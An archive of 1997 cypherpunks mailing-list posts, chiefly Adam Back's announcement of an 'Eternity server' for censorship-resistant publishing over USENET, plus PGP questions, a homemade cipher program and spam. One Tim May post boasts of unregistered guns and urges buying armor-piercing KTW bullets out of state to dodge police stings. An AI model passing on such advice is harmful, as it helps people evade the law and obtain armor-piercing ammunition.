and some more on the less savoury side perhaps, CC numbers, calling
card numbers, etc).

A real boon would be a working demo system, and I still haven't set
one up myself.  As I said back in April: any takers.

My implementation doesn't require browser plug-ins.  It would require
that or a local proxy for better security, but a quick 'n easy is
probably a better starting point.  (Much like web based remailer
interfaces are ok things to introduce people to remailers, almost zero
set up, easy to use etc.)

One thing I didn't see you mention was the idea to use the web based
news archival services to get around the problem of news expiry.  I
haven't implemented those parts, as I was kind of hoping the idea
would take off and someone would thereby be motivated to contribute
the code.

The only novel thing is that the URL hashes which I was using for a
subject line (read reposted announce for why I do this) don't seem to
be indexed by the search engines (neither dejanews, nor altavista).
An idea I had to work around this was to use something like texto,
where you just use a group of words to encode the number.  Or I think
you can get away with numbers under a certain length.  So perhaps in
encoding url hashing to: 22596363 B3DE40B0 6F981FB8 5D82312E 8C0ED511 you
could convert to base-10, and group into whatever digit numbers:

Subject: 576283491 3017687216 1872240568 1568813358 2349782289

Then do a web search for:

576283491+ 3017687216+ 1872240568+ 1568813358+ 2349782289+

(altavista syntax + is word required).

Realtime uncensorable web courtesy of altavista :-)

Adam


reposted eternity announce:
======================================================================
To: cypherpunks@cyberpass.net
From: Adam Back <aba@dcs.ex.ac.uk>
Subject: [ANNOUNCE] Eternity server 1.01 alpha release
--text follows this line--

Annoucing the `eternity server'.

Alpha testers wanted.  See source code at:

	http://www.dcs.ex.ac.uk/~aba/eternity/

System requirements are:

  unix
  perl5
  news source (local news spool or access to nntp server)
  pgp (2.6.x)
  web space
  ability to install cgi-binaries
  ability to schedule cron jobs a plus but not essential

Unfortunately I have not got a service up and running for you to play
with because I don't meet those requirements (in cgi capability on the
server I would otherwise like to use).

If someone wants to set one up to demo, and post the URL that would be
useful.

The local news spool stuff is tested better than the nntp server
stuff, but it is all there and the nntp stuff was working at one
point.  Remember this is alpha code.  If you can hack perl and want to
stress test the nntp server stuff or the rest of it that would be
helpful.

What is an Eternity Service?

(Some of you may recognize the name `Eternity Service' from Ross
Anderson's paper of that name.  What I have implemented is a related
type of service which shares Anderson's design goals, but has a
simpler design.  Rather than invent a new name, I just borrowed
Anderson's, unless anyone can think of a better name. Anderson has the
paper available on his web pages (look for `eternity') at
http://www.cl.cam.ac.uk/users/rja14/ Also I heard that Eric Hughes
gave a talk on UPS `Universal Piracy Service' I presume this has
similar design goals, though I have not heard further details.)

I have implemented this to give something concrete to think about in
terms of creating something closer to Andersons real eternity service
in robustness.

The eternity server code above provides an interface to a distributed
document store which allows you to publish web pages in such a way
that the attacker (the attacker here is a censor such as perhaps a
government, perhaps your government) can not force you to unpublish
the document.

It's architecture is quite simple.  We already have an extremely
robust distributed document store: USENET news.  We already have the
ability to post messages to the document store anonymously: type I and
type II (mixmaster) remailers.  So theoretically we can publish what
ever we want, just post it to USENET.  However retreiving the data is
cumbersome.  We must search USENET with a search engine, or look
manually for the document, the document will expire after some short
time.  You may still be able to find the document in a search engine
which archives news for longer periods such as dejanews or altavista.

However, it is not as user friendly as a web based interface, there
are no hypertext links between related documents, there are no inline
graphics, etc.

So my `eternity server' is a kind of specialised web search engine
which acts as a kind of web proxy and provides a persistent web based
interface to reading web pages stored in encrypted documents posted to
different USENET groups.  The web search engine provides persitent
virtual URLs for documents even if they move around with different in
different news groups, being posted via different exit remailers.
Signatures on documents allows the user to update document.  The web
proxy has options to cache documents, and otherwise fetches from
a USENET newsspool or nntp news server.

Technical Description

The system offers different levels of security to users.  All
documents must be encrypted.  The subject field of the document should
include the SHA1 hash of the document's virtual URL.  (All eternity
virtual urls are of the form:

	http://[virtualsite].eternity/[documentpath]

that is they would not function as normal urls because the use the
non-existant TLD "eternity".  You may be able to use this facility to
get your browser to look at a particular eternity server to serve
documents of this form).

The lowest level of security is to encrypt the document with PGP -c
(IDEA encryption) with the passphrase "eternity".  This is just
obfuscation to make the documents marginally harder to examine in
USENET without using the eternity service to automate the process.

The next level of security is encrypt the document with the SHA1 of a
1 prepended with the URL.  ie 
	
	passphrase = SHA1( "1". "http://test.eternity/doc/" )

This means that you can not read documents unless you know the URL.
Of course, if you can guess the URL then you can read them.

The third level of security is to additionally to one of the above two
options to encrypt the document with another passphrase of your
chosing.  Then you can give the passphrase only to those amongst your
circle of friends.

Additionally support is given for signed documents.  This is important
because once you've published a web page you might wish to update it.
And yet you don't want other people updating it with a blank page (or
otherwise changing your page) as this would be as good as the ability
to remove the page.

If you include a PGP public key with a document, the eternity server
will associate that PGP key with the hash of your documents URL.  Any
attempts to update that document will only succeed if signed by the
same PGP key.

The document server has the option to cache documents.  Cacheing can
either be turned off (in which case documents are always fetched from
the news spool, this is not that inefficient as the news spool may be
local, and the server keeps a database of USENET group/article number
against document hash, and so can directly fetch the document), or
cacheing can be turned on, or cacheing can be set to encrypted, in
which case documents in the cache are encrypted with a passphrase
derived from the SHA1 of the document's URL by prepending a 1 to the
URL.  In the encrypted mode if the server operator is not keeping
logs, he can't decrypt the documents in his own cache.  If cacheing is
off there are no documents in the cache, only in the USENET news
spool.

In addition some users will have a password which is pasted into an
extra password field on the field

Users can set their own per document cacheing options (they can set no
cacheing to override the options of on or encrypted on the server), or
they can set encrytped to override cachine turned on, etc.

There is a document index at eternity root ( "http://eternity/" ), and
users may optionally request documents to be included in the directory
of eternity documents and virtual hosts.  It makes sense to include
the root document of your set of web pages in the index, and to leave
the rest out of the index.  Then you can link to your own pages from
your original page.

Relative URLs work, inline graphics work, site relative URLs work, and
it includes crude support for mime types, so most normal web data
types will work as normal.

The document format is:

[flags]
[pgp key]
[eternity document]

The flags are can be any of:

URL: http://test.eternity/example1/
Options: directory or exdirectory
Cache: on/yes/off/no/encrypt/encrypted
Description: An example eternity document

The pgp key is an asii armored PGP key, and the eternity document must
also be ascii armored and may optionally be signed (with the
acompanying pgp key).  The eternity document can also be encrypted
again inside that layer with a user key which need never be revealed
to the server.

The overall document is encrypted with PGP -c password "eternity", or
with a password obtained by prepending a 1 to the URL as obtained like
this.

% echo -c 1"http://test.eternity/example1/" | sha1

The flags, pgp key and eternity document can be arbitrarily jumbled
up in order.

The eternity server source code includes an examples directory.

The eternity server has a configuration file which is heavily
commented: eternity.conf.


Threat Models

Think of this as a specialised search engine. If you don't like the
documents you find, then change your search terms, don't complain to
one of the many search engine maintainers! The Eternity Service is
designed to facilitate publishing in a web based form of non
government approved reading or viewing material, or the publishing of
non government approved software, or other "liberated" documents,
programs, etc.  Each user can easily install their own search engine
in a shell account for their own use.

Newsgroups are very robust against attack because they are part of a
distributed system: USENET news. It is difficult to remove a USENET
newsgroup (the Scientologists know, they tried and failed, and they
have seriously deep pockets, and attitude to match). For the eternity
service it probably doesn't matter that much if you do get rid of a
particular newsgroup, eternity documents can be in any
newsgroup. Somehow I don't think you'll succeed in getting rid of all
USENET newsgroups, ie in shutting USENET news down. I'm not sure that
a major government could succeed in that even.

Information wants to be free. Long live USENET news.

Improving robustness

The main problem with this system that I see is that documents don't
live long in USENET news spools as expiry dates are often 1 week or
less.  So to use the service you'd have to set up a cron job to repost
your web documents every week or so.  Some documents remain in the
cache and so survive as long as there is interest in them.

An immediately easy thing to do is to include support for fetching and
looking documents up in altavista's news archive and in dejanews
archive.  This shouldn't be that difficult.  The eternity server
article database already includes newsgroup and message id against
document hash, all that is required is to formulate the requests
correctly.  If anyone wants to add this, feel free.

A mechanism for eternity servers to query each other's caches would be
one mechanism to think about.

Another would be to charge anonymous digicash rates to keep documents
in the cache a couple of $ per Mb/year.

Also you could perhaps think about charging for acccesses to the
service and passing a royalty back to the document author.

There is no `ownership' of eternity virtual domains, or of document
paths.  If Alice puts a document at http://books.eternity/, there is
nothing to stop Bob putting other files under that virtual domain,
such as http://books.eternity/crypto/.  However in general Bob can't
make Alice's document point to his URLs.  Bob can't modify or remove
Alice's pointer from the eternity directry http://eternity/.  But he
can add his own entry.

There can however be race conditions.  If Alice puts up a document on
http://books.eternity/ which points to an inline gif, but hasn't yet
put up that inline gif, Bob can get there first and put up a picture
of Barney until Alice notices and changes here pointer to point to the
picture she wants to point at.

So one solution would be to only accept documents which are signed by
the signator of the next domain up.  First come first served for the
virtual domains, the key signing the root dir of the virtual domain is
checked for each file or directory added under that.

Note even if the URLs are exdirectory, this need not be a problem as
you can just try the path with one directory stripped off.  Could be
done.  Is it worth it though?  It would add overhead to the server,
and there is minimal distruption someone can cause by sharing domains.

Perhaps it is desirable for someone to own a domain by virtue of being
the first person to submit a document with the hash of that domain
together with a key.

Comments?



The rest of this document is things on the to do list, if you feel
like helping out, or discover a limitation or bug.

To do list

It could do with some documentation.  And some stress testing.  The
file locking hasn't really been tested much.  NNTP may be flaky
as I made some mods since last debugging.

It would be nice to have a CGI based form to submitting documents.
Paste signed ascii armored document here.  Paste public key here.
Click radio buttons to choose options.  Enter URL here.  Type in
newsgroup to send to. Click here to submit through a chain of
mixmaster remailers.

There are a few bugs in the above system which ought to be fixed, but
this is alpha code, and they are on the TODO list.  One problem is
that the flags aren't signed.  A change of message format will fix
that in a later version.  The basic problem is that you can't check
the signature until you've decrypted and obtained the key.  At which
point you have to decrypt again.  A simple fix would perhaps to be to
put the public key outside the outer encryption envelope, but that is
unattractive in terms of allowing author correlation even by people
who don't have passphrases or don't know URLs.  Better would be to
just decrypt once, obtain the key if there is one, and then check the
sig again.  The server already keeps a database of PGP keys (not using
PGP's keyring) it stores keys by the SHA1 hash of the armored public
key and indexes against document URL hashes.  In this way public keys
do not need to be included in later document updates.  This could be
used to check a signature on the outer encryption layer.  Then only
the first post needs to decrypt twice (once without key available to
check sig, and then again with key available).  As a nice side effect
this protects against the PGP 0xdeadbeef attack (or 0xc001d00d as Gary
Howland has on his public key).

Another problem is when scanning a newsgroup, if the scanned message
can not be read it just stores it for later, so that when someone
accesses the server who knows the URL for that document it can be
decrypted and scanned for good signature and updated then.  However
the code only has a place holder for one document at the moment.  That
should be changed to a list and appropriate code to scan the list when
the document is accessed.  Once the newest document is found, the list
of documents to be scanned can be discarded and the newest article
stored against the hash in article.db.

Another more subtle problem is that the code may update documents in
the wrong order if multiple versions are posted to different news
groups.  The articles are scanned one group at a time.  So if the
groups are scanned in order alt.anonymous.messages followed by
alt.cypherpunks, and version 2 of the document is in alt.anon.msgs,
and version 1 in alt.cp, then it will update the document with the
older version.

Another to do list entry is the cache replacement policy.  There isn't
one, your cache will grow indefinately as documents are never removed.

Another thing to do is the altavista and dejanews lookup via HTTP by
message-id.  All the place holders are there.

If anyone wants to tackle any of the above tasks feel free.

The program dbmdump prints out .db files in ascii so you can see what
is there.

eternity -u is suitable to run as a cron job, or just at the console.

eternity -r resets everything, clears out the cache, empties database
etc.

eterity?url=http://blah.eternity/blah

is the form to use as a cgi.  It handles both GET and POST methods.

There is a log file for debugging, see eternity (the perl program) for
how to set different logging opitons. You can log most aspects of the
program for debugging purposes.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 29 Jul 1997 15:40:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New Crypto Application
In-Reply-To: <Pine.OSF.3.96.970728203218.23582A-100000@oberon>
Message-ID: <v03102808b0034d458be0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:15 AM -0700 7/28/97, Dave K-P wrote:
>? the platypus {aka David Formosa} wrote:
>
>> On Sun, 27 Jul 1997, Guillotine wrote:
>>
>> > I'm creating a new _text_ cryptography program.
>>
>> If you are not useing a well know and strong cyper method I suggest you
>> post details of your meathod to sci.crypt where thay will (most likely)
>> pick holes in it.
>
>	From the sci.crypt FAQ...


What's a "FAQ"?

I think I'll just go ahead and challenge people to break my
SuperWhammomatic, CryptoPadalyzer. (I spent more time coming up with the
name than I did working on the algorithm, so I hope you all like it.)



--Tim "the Newbie"


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 29 Jul 1997 13:07:50 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <v0311072bb002a4f0dfea@[139.167.130.248]>
Message-ID: <Pine.GSO.3.95.970729005603.8739C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert is not exaggerating. Jamie's boss is Ralph Nader. Their offices
are, maybe, 10 feet away from each other in the second floor of the
Carnegie Institute in Washington.

-Declan


On Mon, 28 Jul 1997, Robert Hettinga wrote:

> At 1:52 pm -0400 on 7/28/97, Tim May wrote:
> 
> 
> > After reading several of James Love's posts, I think we are either just
> > talking at cross purposes, or that he hasn't thought carefully about the
> > constitutional issues. Maybe both. In any case, this'll probably be my last
> > response to his points.
> 
> Jamie Love is one of those nasty Naderites who believes that what the
> government shouldn't control, the plaintiff bar should.
> 
> I killfiled him on com-priv a long time ago, and, when Tim started rastlin'
> ol' Ralph-once-removed here on cypherpunks, I killfiled Love here, too.
> 
> Oddly enough, Love has a mailing list with lots of fun government-baiting
> goodies in it, so he's not all that bad. Chalk it up to broken clock
> disease, I guess...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 29 Jul 1997 16:19:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Guns, Roses & Tobacco
In-Reply-To: <199707290722.JAA09290@basement.replay.com>
Message-ID: <v03102809b003535bf9d6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Get 'em while you can....

At 12:22 AM -0700 7/29/97, Anonymous wrote:
>  Meantime, taking their cue from the Tobacco Nazis, the city of
>Philadelphia is trying to figure out how to sue gun manufacturers for
>their
>crime rate -- 414 homicides last year, according to conservative
>gabmeister
>Rush Limbaugh. "Expect the arguments to focus on how unsafe guns are,
>the
>lack of warning labels, the lack of formal training programs, etc." ...
>rather than simply improve public safety by legalizing concealed
...


It's been apparent for many years that the Plan is to to disarm Americans,
as most Europeans, Canadians, and Brits have already been disarmed. Suing
the gun manufacturers is the new approach. (But what will the military do
when Colt becomes insolvent, when Smith and Wesson and Ruger and all the
rest seek bankruptcy protection? I guess there's always SIG, Heckler &
Koch, and Beretta...those damned Europeans may be disarming their
citizen-units, but they're not doing it by suing their corporations!)

Me, I stocked up on guns bought with cash at the San Jose and San Francisco
Gun Shows, where money changed hands without any IDs being presented. (Plus
an emergency run to Reno in 1993 to beat the deadline imposed by
Swinestein's new legislation in Kalfornia.) Most of my guns are
unregistered, unreported, and known only to me. And I've made certain to
scatter a few of them in safe deposit boxes, and in the usual sealed
"planters."

The storm troopers are preparing to disarm the citizen units.

Remember, KTW bullets pierce Kevlar vests. The jackbooted thugs want these
KTW bullets outlawed. Get 'em while you still can, which won't be for long.

(Don't buy them in Kalifornia, as you'll likely be caught in a sting,
courtesy of Uberfascist Dan Lungren. Buy them out of state. An H&K 91 is a
pretty good dispensor of these KTWs. Colt or equivalent AR-15s and clones
are also pretty good. Though I haved to admit that I'm kind of having a
"retro" phase, finding my Winchester 94 Wrangler, in .44 Magnum, is pretty
handy. It's now the rifle I tend to have in my hand when I answer the door.
A lot handier than the ubiquitous SKS Chicom pieces of shit. Friends of
mine keep telling me to go for a Benelli Super 90 Tactical Shotgun, but I
guess the handier .44 Mag carbine fits me better at this time.)

Me, the Santa Cruz County Sheriff's office has already let me know that I'm
on a list of suspected militia supporters. After OKC, anyone with an
arsenal is suspect. We each know who the enemy is.

Whatever happened to the Second Amendment?

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <dkp@iname.com>
Date: Tue, 29 Jul 1997 13:55:41 +0800
To: Chris Avery <cavery@ccnet.com>
Subject: Re: Queries from a Cyper-newbie?
In-Reply-To: <01BC9B6D.6CC7B860@h97-172.ccnet.com>
Message-ID: <33DD81A6.3920@iname.com>
MIME-Version: 1.0
Content-Type: text/plain



Chris Avery wrote:



> 1. PGP 5.0 -- good software? If not, what problems?  Why to use DSS vs/

> RSA keys?  How is 5.0 different than 2.6.3i ?  Which is better?



	I can only speak from experience that PGP 5.0 is "good software"

in that it has not caused me any problems.  In the DSS/Diffie-Hellman

vs. RSA debate, you would do well to go to www.rsa.com and read their
FAQ
on both cryptosystems.  5.0 is different from 2.6.3i in the following
ways: 5.0 can create DSS/Diffie-Hellman key pairs, 2.6.3i cannot. 
2.6.3i
can create RSA key pairs, 5.0 cannot.  5.0 can utilize both kinds of key

pairs whereas 2.6.3i can only utilize RSA key pairs.  As well, 5.0 is

legal to use in the US while 2.6.3i violates copyright protection. Only

you can decide which is better for your purpose(s), however.



> 2. Are emails encrypted using PGP 5.0 decypherable by PGP 2.6.3i (and

> vice versa?)  Using RSA keys?



	2.6.3i is completly compatible with 5.0 (and vice versa)

_except_ if it involves DSS/Diffie-Hellman key pairs.



> 3. I understand certain encryption s/w cannot be legally exported, I am

> aware that such s/w is nevertheless being used (and built) abroad.  My

> queries:  Is purely domestic use being threatened by the pending

> legislation?  Is it already illegal to send an encrypted msg out of the

> US? If so, is it illegal to receive an encrypted msg from outside the
> US?



	As I recall, domestic use is being threatened by a law that would

make illegal the use of cryptosystems without escrowed keys.  At present

time though, it is legal to send enciphered messages to and from the US.



> 4. How strong is strong?



	From Applied Cryptography (Second Edtion) by Bruce Schneier (which

you should buy a copy of) ...


	"The wise cryptographer is ultra-conservative when choosing
public- key key lengths.  To determine how long a key you need requires
you to look at both the intended security and lifetime of the key, and
the
current state-of-the-art of factoring.  Today, you need a 1024-bit
number
to get the level of security you got from a 512-bit number in the early
1980s.  If you want your keys to remain secure for 20 years, 1024 bits
is
likely too short."



> 5. Is international data traffic somehow monitored (or monitorable) to

> detect encrypted traffic?



	Of course it is!  One of the uses of crytography is to secure

those messages that would otherwise be monitored in plaintext.  It goes

without saying that the ciphertext can be monitored, as well.



-- 

dkp at iname dot com * Exit the System.

4B63 E55D 1C92 68E3 8700 0EBF 5CDD 5538

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Guillotine <guill@xmission.com>
Date: Tue, 29 Jul 1997 16:18:22 +0800
To: cypherpunks@toad.com
Subject: Re: New Crypto Application
Message-ID: <199707290750.BAA01427@xmission.xmission.com>
MIME-Version: 1.0
Content-Type: text/plain



The first of ten replies to my e-mail that has any decent information...

>>I'm creating a new _text_ cryptography program.  
>
>What do you mean by "text cryptography"?  You'll only accept text as input,
>or you'll produce your output in ASCII, or you'll produce your output
>as English-like words?

It's going to be a GUI program for Windows/95 (evil, I know, but where else
is the money at?) written in Delphi.  For a quick explanation...  it has two
memo-textareas for the input and output and one edit-area for the key.  I
called it a _text_ encryption program because it's a small application like
NotePad.exe which you can just type into, encrypt, and copy the output into
your e-mail or into a file...  and it accepts ANY ascii characters as input.
The output is as garbled as hell too, not alphanumeric.

>  None of the common encryption algorithms treats
>text input any differently that raw bits, and it's worth taking whatever
>input you have and compressing it to reduce the amount of data the
>encryption and transmission phases need to handle.  Producing printable
>ASCII as an output format isn't a cryptography issue - it's just a 
>simple reversable transform from a bunch of raw bits to printable,
>and there's no excuse for inventing a new format rather than using
>MIME encoding, uuencode, or btoa, unless you're doing something extremely
>creative with Unicode...  

True, it's all raw bits to this program.  As an added plus, it supports
pasting from clipboard of any binary format using a clipboard memory dump.
Just go to your favorite graphics program and copy an entire picture, paste
it, and encrypt it.  I see no use for that whatsoever, but the point is that
if you copy it to clipboard, it can paste and encrypt it.  Since Win95 has
the ability to copy and paste even FILES then I guess that those who want
file encryption are in luck, I have implemented the file detection for
clipboard usage and I have also implemented manual file selection and
encryption.

>Producing output as English-like words is more interesting.
>It's a steganography issue, not a cryptography issue, since you should
>be doing the secure part first anyway, but it can be useful for
>obscuring the fact that you're using crypto in a message.
>The canonical reference is to Peter Wayner's Mimic Functions,
>which let you model an arbitrary context-free grammar for output,
>but you should also look around for "texto".  (The other canonical
>reference is to "PHB", Dilbert's program that disguises the message
>in Pointy Haired Boss jargon, but I'm not aware that anyone's written it.)
>A good book to read on cryptois Bruce Schneier's "Applied Cryptography",
>which discusses most of the current algorithms and how they're used.

Me and a friend of mine have written some new bit switching procedures which
use keys to encrypt the input in a dozen different number systems, but since
that realllllllly slows it down I'm going to have to write a random
number/phrase generator mainly used to hash the key and make it a couple of
dozen characters long no matter how long it is.  Brute force will be
possible (it's unavoidable!) but just decrypting the text alone will not
work.  It will have to contain an ability to hash a guessed key just like
this program and then try the guess, making it take much longer in general
to brute force it.  That doesn't apply to the governments computers, but
since when does anything to do with slowing down brute forcing apply to them
and their mainframe-using crypanalytic selves???

>>The encryption algorithm,
>>using a symmetrical is going to be as strong as legally allowed, 

>There are no legal restrictions on cryptography strength in the US;
>only restrictions on what's exportable, and even then you need permission. 

I was just implying of the possibility that the US might soon resolve some
_MORE_ restrictions on cryptography, since they've already proven their
capability of imposing as much on the US.

Thanks for the information Bill!


For who ever said that I was going to release the source to this program's
copy protection... I'M NOT!  I don't have to prove to you how good or bad
its copy protection is!!!  Someone will reverse-engineer it anyways, and it
might as well take them a day or ten.  Besides, this program isn't even
going to cost ten bucks.... but I'll stop now before this e-mail spams any
further.

Guillotine





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 11:05:02 +0800
To: cypherpunks@toad.com
Subject: Spare DigiCa$h? / Re: AN APPEAL TO THE HUMAN RACE
Message-ID: <199707290147.DAA04123@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



amaninneeeedeer443553444@aol.com wrote:
>
> PLEASE HELP

  What follows is an example of the CyberBums predicted by one of the
list members some time back. This A(ssh)OL(e) is using his spambot to
"Spare change?" millions of people at a time and it turns out that
besides his required, basic tale of woe, that he also has the proverbial
parent who is dying from cancer.

  Don't send him any money.
  Send *ME* money. I will use it to buy enough cheap wine to enable me
to throw up on my shoes.
(Wouldn't you rather send your hard-earened money to an honest drunk
than to a lying bum?)

CyberDrunk
> > -----
> > I WAS A SMALL BUSINESS OWNER IN THE ATLANTA AREA. I RAN THIS
> > BUSINESS SUCCESSFULLY UNTIL ABOUT 60 DAYS AGO. AT THAT TIME, 2
> > SEPARATE COMPANIES FILED BANKRUPTCY AGAINST ME FOR A TOTAL OF
> > $ 47,000. I COULDN'T SURVIVE THAT.
> >
> > CONSEQUENTLY, I WAS UNABLE TO PAY MY CREDITORS, MOST OF WHOM
> > WERE FRIENDS. THEY HAVE FAMILY AS I DO AND I CAN'T LIVE WITH THE
> > THOUGHT OF DOING TO THEM WHAT HAS BEEN DONE TO ME. I'VE SPENT
> > MANY SLEEPLESS NIGHTS TRYING TO COME UP WITH A SOLUTION. I HAVE
> > NO WHERE TO TURN EXCEPT TO MY FELLOW MAN. MY ONLY FAMILY IS
> > MY FATHER. HE IS 74 AND SUFFERING FROM DIABETES AND PROSTATE
> > CANCER.
> >
> > I HAVE SLOD EVERYTHING EXCEPT THE CLOTHES OFF MY BACK AND MY
> > COMPUTER. AFTER THIS FINAL ATTEMPT FOR HELP, I WILL BE SELLING
> > IT.
> >
> > I WANT TO BE HONORABLE, BUT I CAN'T DO IT ALONE. I WOULD NEVER DO
> > THIS EXCEPT AS A LAST RESORT, BUT I KNOW THAT I WOULD HELP
> > SOMEONE IF I COULD.
> >
> > WILL YOU HELP ME?? ANY AMOUT WOULD BE VERY MUCH APPRECIATED.
> > THANK YOU
> >
> > W.E. HENDERSON
> > P.O. BOX 486
> > SMYRNA, GEORGIA 30081






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 10:06:46 +0800
To: cypherpunks@toad.com
Subject: Will Spam For Food (Not Spam) / Re: Spare DigiCa$h? / Re: AN APPEAL TO THE HUMAN RACE
Message-ID: <199707290149.DAA04300@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  I find it interesting that the cynical/sinister/paranoid cypherpunk
list members seem to be the ones who are most able to predict the
future trends of events on the Internet, particularly in areas which
surround very major and very minor issues. The Tim May's and Declan
McCullagh's shed interesting light on the future course of major events
while the Monger's and Dog Boy's turn their precognitive abilities in
the direction of the more mundane aspects of the Internet as a
reflection
of humanity/society.

  The "Spare DigiCa$h" post gave me pause to reflect how long it will be
before technology is sufficiently developed that when we hit our <Pause>
key, "CyberBums" will approach and offer to clean our video monitor with
an oily rag. Will we be cursed for offering CyberBums a form of e$pare-
change which cannot be spent on email-order wine? Will laws be passed
which prevent CyberBums from approaching us for e$pare-change within two
relay hops of an eCa$h site? Will CyberBums sort through our killfile
dumpsters for eTra$h?

  Was it Kevin Mitrick whose conditions of probation required him to
stay
off the Internet and away from computers? 
  Will the future bring laws which permit restraining orders against
individuals accessing certain parts of the Internet? Sex offenders/sex
sites; burglars/financial sites; pedophiles/children's sites?
  It seems to me that increasing regulations and laws surrounding the
access and use of the Internet will require strict laws requiring the
user to be able to show verification of identity/age/criminal history/
financial history/(approved government) reputation capital, and all
manner of information to place us all in categories needed to monitor
our compliance with laws and regulations.

  Once browsers are required by law to support a certain rating system
and children manage to get around it, there will no doubt be laws
passed requiring fascist monitoring of who is actually using the
software.(And LEA's who demand that phone companies provide them with
the ability to trace/locate cellular phone users will undoubtably want
the same capabilities with Internet users, in a war against anonymity.)

  There will be no shortage of James Love's, Kent Crispin's and Hallam-
Baker's to call for "reasonable compromise" in order to facilitate 
fascist censorship on things which we all "unambiguously" agree on
(by _their_ way of thinking, of course).
  The only way to prevent the atrocities perpetrated upon our rights
to freedom and liberty in physical space from becoming the norm in
CyberSpace is to fight against the systems, the governments and the
individuals who are striving to extend their fascist control by
building ElectroMagnetic Curtains in CyberSpace, is to prepare now
to fight against Electronic Oppression--to prepare for an Electronic
Revolution--now.

	CyhperDog
	~~~~~~~~~
{This post contains an Email Rating System classification of:
 Redundant Cowardly Anonymity.}
(This means than an Anonymous Coward is posting in reference to one
 of his/her own posts under a second anonymous pseudonym.)

--------------------------------
The first Anonymous Coward wrote:
> amaninneeeedeer443553444@aol.com wrote:
> > PLEASE HELP
> 
>   What follows is an example of the CyberBums predicted by one of the
> list members some time back. This A(ssh)OL(e) is using his spambot to
> "Spare change?" millions of people at a time and it turns out that
> besides his required, basic tale of woe, that he also has the proverbial
> parent who is dying from cancer.
> 
>   Don't send him any money.
>   Send *ME* money. I will use it to buy enough cheap wine to enable me
> to throw up on my shoes.
>   (Wouldn't you rather send your hard-earened money to an honest drunk
> than to a lying bum?)
> 
> CyberBum
> 
> -----
> > I WAS A SMALL BUSINESS OWNER IN THE ATLANTA AREA. I RAN THIS
> > BUSINESS SUCCESSFULLY UNTIL ABOUT 60 DAYS AGO. AT THAT TIME, 2
> > SEPARATE COMPANIES FILED BANKRUPTCY AGAINST ME FOR A TOTAL OF
> > $ 47,000. I COULDN'T SURVIVE THAT.
> >
> > CONSEQUENTLY, I WAS UNABLE TO PAY MY CREDITORS, MOST OF WHOM
> > WERE FRIENDS. THEY HAVE FAMILY AS I DO AND I CAN'T LIVE WITH THE
> > THOUGHT OF DOING TO THEM WHAT HAS BEEN DONE TO ME. I'VE SPENT
> > MANY SLEEPLESS NIGHTS TRYING TO COME UP WITH A SOLUTION. I HAVE
> > NO WHERE TO TURN EXCEPT TO MY FELLOW MAN. MY ONLY FAMILY IS
> > MY FATHER. HE IS 74 AND SUFFERING FROM DIABETES AND PROSTATE
> > CANCER.
> >
> > I HAVE SLOD EVERYTHING EXCEPT THE CLOTHES OFF MY BACK AND MY
> > COMPUTER. AFTER THIS FINAL ATTEMPT FOR HELP, I WILL BE SELLING
> > IT.
> >
> > I WANT TO BE HONORABLE, BUT I CAN'T DO IT ALONE. I WOULD NEVER DO
> > THIS EXCEPT AS A LAST RESORT, BUT I KNOW THAT I WOULD HELP
> > SOMEONE IF I COULD.
> >
> > WILL YOU HELP ME?? ANY AMOUT WOULD BE VERY MUCH APPRECIATED.
> > THANK YOU
> >
> > W.E. HENDERSON
> > P.O. BOX 486
> > SMYRNA, GEORGIA 30081





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 10:07:19 +0800
To: cypherpunks@toad.com
Subject: Re: NSA leak (fwd)
Message-ID: <199707290150.DAA04489@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Ian Goldberg wrote:
> >To: fight-censorship@vorlon.mit.edu
> >Subject: NSA leak
> >
> >WASHINGTON (AP) - In a rare moment of openness bordering on glibness, 
> > >senior official at the super-secret National Security Agency was overheard
> > >at a White House press conference concerning current bans on the export of
